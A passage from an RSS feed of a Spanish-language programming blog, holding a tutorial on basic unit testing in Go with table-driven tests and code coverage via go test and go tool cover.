}&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Compararemos el resultado usando un if, o lo que querramos y, &lt;strong&gt;si el test falla, llamaremos al método &lt;em&gt;Errorf&lt;/em&gt;&lt;/strong&gt; del modulo de &lt;em&gt;testing&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;testing&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;TestDivision&lt;/span&gt;(t &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;testing.T) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Division&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; total &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        t.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;División incorrecta, obtuvimos %d pero se esperaba %d&amp;#34;&lt;/span&gt;, total, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No es necesario que las funciones a probar se encuentren dentro del archivo de testing, en este caso las coloqué dentro de &lt;em&gt;testing/main.go&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Division&lt;/span&gt;(a &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, b &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; a &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;ejecutar-los-tests&#34;&gt;Ejecutar los tests&lt;/h2&gt;&#xA;&lt;p&gt;Para ejecutar los tests necesitamos encontrarnos dentro  del directorio donde se encuentran nuestros archivos terminados en &lt;em&gt;_test.go&lt;/em&gt; y correr el comando &lt;em&gt;go test&lt;/em&gt;. Si el test aprueba obtendremos la leyenda PASS.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd testing&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PASS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok      main&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing    &lt;span style=&#34;color:#ff9f43&#34;&gt;0.001&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Por otro lado, si los tests fallan se imprimirá la palabra FAIL en pantalla:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;---&lt;/span&gt; FAIL: &lt;span style=&#34;color:#57c7ff&#34;&gt;TestDivision&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;0.00&lt;/span&gt;s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main_test.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt;: División incorrecta, obtuvimos &lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt; pero se esperaba &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FAIL&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit status &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FAIL    main&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing    &lt;span style=&#34;color:#ff9f43&#34;&gt;0.001&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;manejo-de-casos-con-tablas&#34;&gt;Manejo de casos con tablas&lt;/h2&gt;&#xA;&lt;p&gt;En el ejemplo anterior usamos una función para probar un caso, sin embargo, si necesitaramos someter a prueba múltiples casos, necesitariamos una función por cada test, bastante tedioso, ¿no?&lt;/p&gt;&#xA;&lt;p&gt;Para evitar llenarse de funciones, los desarrolladores usan un array compuesto de structs, donde cada struct representa un caso a probar. Puedes pensar en el array de structs como una tabla, donde cada fila es un caso y cada columna un tipo de dato a probar.&lt;/p&gt;&#xA;&lt;p&gt;En este caso, cada struct de nuestro array consiste en tres enteros; los primeros dos representan los argumentos, mientras que el último es el resultado.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;tables &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;x &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;y &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;r &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;}, &lt;span style=&#34;color:#78787e&#34;&gt;// 100 / 10 = 10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;}, &lt;span style=&#34;color:#78787e&#34;&gt;// 200 / 20 = 10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;300&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De seguro ya notaste que no estamos cubriendo la división entre cero, pero déjalo así por ahora.&lt;/p&gt;&#xA;&lt;p&gt;Ya que contamos con nuestro array de structs, iteraremos sobre cada uno de sus elementos usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-slices-y-arrays/&#34;&gt;la función range de go&lt;/a&gt;&#xA;. De esta manera cubriremos cada caso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; _, table &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; tables {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;total &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Division&lt;/span&gt;(table.x, table.y)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; total &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; table.r {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;t.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;División de %d entre %d incorrecta, obtuvimos: %d, pero el resultado es: %d.&amp;#34;&lt;/span&gt;, table.x, table.y, total, table.r)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo salió bien, pasaremos todas las pruebas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;coverage&#34;&gt;Coverage&lt;/h2&gt;&#xA;&lt;p&gt;Coverage ya forma parte del código en go, por lo que no necesitamos librerías externas. Si no sabes que es Coverage, piensa en él como el porcentaje de tu código que es sometido a pruebas. Si todo tú código pasa por las pruebas tendrás un coverage de 100%, si solo la mitad pasa por las pruebas el coverage será de 50%. Anteriormente te hablé del coverage en mi entrada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/unittest-python-valen-la-pena-los-tests-en-python/&#34;&gt;unittest en Python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Para calcular el coverage basta con agregar el flag &lt;em&gt;-cover&lt;/em&gt; al comando &lt;em&gt;go test&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; -cover&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PASS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coverage: 100.0% of statements&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok      _/home/eduardo/Programacion/goTesting/testing   0.002s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como nuestra función es muy corta, obtenemos un resultado de 100%, sin desglosar, de coverage&lt;/p&gt;&#xA;&lt;h3 id=&#34;exportar-resultados-de-coverage&#34;&gt;Exportar resultados de coverage&lt;/h3&gt;&#xA;&lt;p&gt;Podemos mandar el toda la información en bruto de nuestro test de coverage a un archivo externo con el flag &lt;em&gt;-coverprofile&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; -coverprofile&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;coverage.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mode: &lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/eduardo/Programacion/goTesting/testing/main.go:3.33,5.2 &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este archivo, de nombre &lt;em&gt;coverage.out&lt;/em&gt;, que fue generado, es un archivo que contiene información en bruto y que &lt;strong&gt;será necesario para visualizar los resultados&lt;/strong&gt; de una manera más detallada.&lt;/p&gt;&#xA;&lt;h3 id=&#34;visualizacion-de-resultados-con-go-tool&#34;&gt;Visualización de resultados con go tool&lt;/h3&gt;&#xA;&lt;p&gt;Para resumir de una manera más legible la información del archivo que contiene nuestro test de coverage, usaremos el comando tool, acompañado del flag &lt;em&gt;-func&lt;/em&gt;, seguido del nombre del archivo. Lo que nos devolverá un resultado de coverage desglosado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go tool cover -func&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;coverage.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/eduardo/Programacion/goTesting/testing/main.go:3: Division        100.0%&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total:                                                  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;statements&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;    100.0%&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go también nos permite visualizar el coverage en formato HTML, con colores, directo en nuestro navegador. Para ello usamos la opción -html, seguido del archivo con los datos de coverage.&lt;/p&gt;&#xA;&lt;p&gt;Al ejecutar el comando, se abrirá una pestaña de nuestro navegador y nos mostrará los resultados testeados en verde y los no testeados en rojos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go tool cover -html&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;coverage.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/Captura-de-pantalla-de-2022-02-09-12-35-57.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/Captura-de-pantalla-de-2022-02-09-12-35-57.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Coverage en go&#34; width=&#34;822&#34; height=&#34;238&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Coverage completo en html en go&lt;/p&gt;&#xA;&lt;p&gt;Si decidimos modificar nuestra función para que maneje los casos de la división por cero, y corremos los tests de coverage de nuevo, obtendremos un esquema diferente al anterior. Ahora sí aparece una sección de código no cubierto por los tests en colo rojo y nuestro coverage bajó a 50%.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/coverage-en-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/coverage-en-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla del coverage en go&#34; width=&#34;1260&#34; height=&#34;417&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Coverage incompleto en html en go&lt;/p&gt;&#xA;&lt;p&gt;Con esto termino esta entrada super corta sobre testeo en go. Para la siguiente entrada voy a hablar un poquito de profiling y daré por terminadas las entradas de go básico para escribir nuevamente sobre Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otros-recursos-sobre-testing&#34;&gt;Otros recursos sobre testing&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.friendsofgo.tech/posts/empezando-con-los-tests-automatizados-en-go/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Empezado con los tests automatizados de Friends of go&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/testing&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Documentación oficial de Go&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/stretchr/testify#assert-package&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Testify, para emular la sintaxis de testeo en Javascript&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Go ya cuenta con un modulo de testing en su librería estándar que está lista para nuestro uso, solo hace falta importarlo y usarlo.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;preparacion-del-testing-en-go&#34;&gt;Preparación del testing en go&lt;/h2&gt;&#xA;&lt;p&gt;Para que se lleven a cabo los tests necesitamos:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: condiciones de carrera en goroutines y mutex</title>
      <link>https://coffeebytes.dev/es/go/go-condiciones-de-carrera-en-goroutines-y-mutex/</link>
      <pubDate>Wed, 02 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-condiciones-de-carrera-en-goroutines-y-mutex/</guid>
      
      <category>go</category>
      
      
      
      
      
